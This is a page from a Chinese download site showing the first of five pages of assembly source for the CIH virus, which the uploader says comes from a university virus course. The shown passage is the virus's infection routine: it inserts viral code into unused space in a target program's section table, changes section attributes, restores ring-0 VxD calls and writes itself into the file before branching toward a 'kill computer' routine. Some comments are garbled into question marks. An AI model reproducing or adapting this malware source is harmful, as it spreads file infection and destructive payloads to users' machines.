⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 cih14.txt

📁 哈哈是CIH的分析代码,是我们病毒选修课的作业,现在留作业让我们编病毒!
💻 TXT
📖 第 1 页 / 共 5 页
字号:
                        lea     edx, [esi-SizeOfScetionTable]         ;edx先减一项块表长度,?????????????????           
                        mov     ebp, offset VirusSize   ;ebp为病毒长度                         
                                                                                 
                        jmp     StartToWriteCodeToSections                       
                                                  
;  ***** 往病毒块表里写代码*****                                                                                 
LoopOfWriteCodeToSections:                                                       
                                                                                 
                        add     edx, SizeOfScetionTable    ;?????????????????????????                         
                                                                                 
                        mov     ebx, (SizeOfRawData-@9)[edx]        ;ebx为该块表项的SizeOfRawData(块大小)              
                        sub     ebx, (VirtualSize-@9)[edx]        ;减去VirtualSize=该块未用空间                
                        jbe     EndOfWriteCodeToSections                         
                                                                                 
                        push    ebx                                       
                                                                                 
                        sub     eax, 08h                                         
                        mov     [eax], ebx    ;写入病毒块表                           
                                                                                 
                        mov     ebx, (PointerToRawData-@9)[edx]        ;ebx为块的实际偏移          
                        add     ebx, (VirtualSize-@9)[edx]           ;加上VirtualSize             
                        push    ebx    ;ebx指向该块未用空间的文件指针                        
                                                                                 
                        push    edi                         
                                                                                 
                        mov     ebx, (VirtualSize-@9)[edx]                       
                        add     ebx, (VirtualAddress-@9)[edx]                    
                        add     ebx, (ImageBase-@9)[esi]     ;ebx为该块装入后的实际地址                         
                        mov     [eax+4], ebx    ;保存到病毒块表中                                 
                                                                                 
                        mov     ebx, [eax]     ;该块未用空间大小                                  
                        add     (VirtualSize-@9)[edx], ebx       ;加到该块表项的VirtualSize                
                                                                                 
                              
                        or      (Characteristics-@9)[edx], 40000040h      ;改该块表项的块属性(改为可读,并包含初始化数据)       
                                                                                 
StartToWriteCodeToSections:                                                      
                                                                                 
                        sub     ebp, ebx    ;病毒大小-病毒块大小                                      
                        jbe     SetVirusCodeSectionTableEndMark         ;如果小于(病毒插入完毕)就设置病毒块表结束符         
                                                                                 
                        add     edi, ebx        ; 指向病毒下一块
                                                                                 
EndOfWriteCodeToSections:                                                        
                                                                                 
                        loop    LoopOfWriteCodeToSections                        
                                                                                                             
; *****只设置感染标志 *****                                                     
                              
OnlySetInfectedMark:                                                             
                        mov     esp, dr1            ;只设置感染标志                                       
                                                                                 
                        jmp     WriteVirusCodeToFile   ;跳到写病毒到要传染的文件的程序                           
                                                                                   
; *****不设置感染标志*****                                                 
                                                                                 
NotSetInfectedMark:                                 ;不设置感染标志                             
                        add     esp, 3ch                                         
                                                                                 
                        jmp     CloseFile           ;跳到关闭文件                             
                                                                                   
; *****设置病毒代码块表和结束标志*****                                               
                                                                                 
SetVirusCodeSectionTableEndMark:                                                 
                                                                                 
                        ; Adjust Size of Virus Section Code to Correct Value
                        ;更正病毒块表的最后一项
                        add     [eax], ebp                                       
                        add     [esp+08h], ebp                                   
                                                                                 
                        ; Set End Mark 
                        ;设置块表结束标志                                          
                        xor     ebx, ebx                                         
                        mov     [eax-04h], ebx                                                                                                                                                                       
 
; *****当病毒调用VxDCall时VMM修改int 20h并且服务识别器调用[]*****                                                   
 
; *****写病毒到文件之前要首先恢复他们*****
                                                                                 
                        lea     eax, (LastVxDCallAddress-2-@9)[esi] ;将上一个调用VXD的指令的地址放入eax中             
                                                                                 
                        mov     cl, VxDCallTableSize                ;所用VXD调用的个数放入cl中             
                                                                                 
LoopOfRestoreVxDCallID:                                                          
                        mov     word ptr [eax], 20cdh               ;还原成"int 20h"的形式             
                        
                        ;从VxDCallIDTable取出VXD调用的id号放到edx,
                        ;再将其放到"int 20h"的后面,形成'int 20h' and the 'Service Identifier'的形式                                                         
                        mov     edx, (VxDCallIDTable+(ecx-1)*04h-@9)[esi]        
                        mov     [eax+2], edx                                     
                        
                        ;VxDCallAddressTable中放着各个调用VXD的指令的地址之差,将其放入edx中                                                         
                        movzx   edx, byte ptr (VxDCallAddressTable+ecx-1-@9)[esi]  
                                                                                 
                        sub     eax, edx                            ;eax为上一个调用地址             
                                                                                 
                        loop    LoopOfRestoreVxDCallID              ;还原其他的调用             
                                                                                    
; *****向文件中写入病毒代码*****                                               
                                                                                 
WriteVirusCodeToFile:                                                            
                        mov     eax, dr1                            ;dr1为前面所保存的esp,将其放入eax中                                 
                        mov     ebx, [eax+10h]                      ;ebx为保存在栈中的保存文件句柄             
                        mov     edi, [eax]                          ;edi为保存在栈中的IFSMgr_Ring0_FileIO调用的地址             
                                                                                 
LoopOfWriteVirusCodeToFile:                                                      
                                                                                 
                        pop     ecx                                 ;病毒代码各段的偏移入栈             
                        jecxz   SetFileModificationMark             ;到病毒偏移零为止             
                                                                                 
                        mov     esi, ecx                                         
                        mov     eax, 0d601h                         ;写文件功能号(R0_WRITEFILE)到eax中             
                        pop     edx                                 ;文件指针             
                        pop     ecx                                 ;要写的字节数             
                                                                                 
                        call    edi                                 ; 写文件           
                        
                       ;依次写入:各段病毒代码,病毒块表,新的文件块表,新的程序入口,感染标志
                       ;用循环来实现                                                         
                        jmp     LoopOfWriteVirusCodeToFile                       
                                                                                   
; *****设置进位标志在更改时需要恢复文件*****                                                 
                                                                                 
SetFileModificationMark:                                                         
                        pop     ebx                                              
                        pop     eax                                              
                                                                                 
                        stc             ;设置进位标志                  
                        pushf           ;将标志位压入栈                                         
                                                                                  
; *****关闭文件*****                                    
                                                                                 
CloseFile:                                                                       
                        xor     eax, eax                                         
                        mov     ah, 0d7h                       ;关闭文件功能号                  
                        call    edi                            ; 写文件            
                                                                                                                         
; *****判断在更改时间时是否需要恢复文件*****
                                                                                
                        popf                                                     
                        pop     esi                            ;将esi出栈,其中存的是进位标志CF                  
                        jnc     IsKillComputer                 ;如果CF=0,执行IsKillComputer                  
                                                                                 
; *****恢复文件更改时间*****                                       
                                                                                 
                        mov     ebx, edi                                         
                                                                            

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -